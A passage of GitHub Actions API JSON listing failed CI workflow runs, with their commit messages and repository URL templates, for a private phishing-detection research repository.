deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279473022,"node_id":"MDExOldvcmtmbG93UnVuMjc5NDczMDIy","head_branch":"feature_fit","head_sha":"3a18ec0a94bcc5986e6a60a24913ce1234213e6a","run_number":1041,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1264299263,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0Mjk5MjYz","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279473022","pull_requests":[],"created_at":"2020-09-29T23:38:46Z","updated_at":"2020-09-30T00:02:54Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264299263","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279473022/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"3a18ec0a94bcc5986e6a60a24913ce1234213e6a","tree_id":"a559f75392c481f1f6bf16f3c06439fcecf89cfd","message":"Email two-step test","timestamp":"2020-09-29T23:38:39Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279470823,"node_id":"MDExOldvcmtmbG93UnVuMjc5NDcwODIz","head_branch":"feature_fit","head_sha":"bba9e413a4b0fc9306ca95b08416bf736948c234","run_number":1040,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1264292067,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0MjkyMDY3","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279470823","pull_requests":[],"created_at":"2020-09-29T23:36:01Z","updated_at":"2020-09-29T23:49:48Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264292067","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279470823/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"bba9e413a4b0fc9306ca95b08416bf736948c234","tree_id":"1ef66af6784706052c3e2f57109fdaa16c872c70","message":"Fixed load_dataset","timestamp":"2020-09-29T23:35:55Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"}},{"id":279409870,"node_id":"MDExOldvcmtmbG93UnVuMjc5NDA5ODcw","head_branch":"feature_fit","head_sha":"19c3ce7b5d722da2fc369c87e684c478e50d7c13","run_number":1039,"event":"push","status":"completed","conclusion":"failure","workflow_id":369237,"check_suite_id":1264117985,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGUxMjY0MTE3OTg1","url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870","html_url":"https://github.com/ReDASers/Phishing-Detection/actions/runs/279409870","pull_requests":[],"created_at":"2020-09-29T22:39:14Z","updated_at":"2020-09-29T23:09:28Z","jobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/jobs","logs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/logs","check_suite_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/check-suites/1264117985","artifacts_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/cancel","rerun_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/runs/279409870/rerun","workflow_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/actions/workflows/369237","head_commit":{"id":"19c3ce7b5d722da2fc369c87e684c478e50d7c13","tree_id":"db4dad951dd517cd37e8c3f76b1f348d70872022","message":"Fixed test","timestamp":"2020-09-29T22:39:06Z","author":{"name":"zacker150","email":"zacker150@hotmail.com"},"committer":{"name":"zacker150","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReD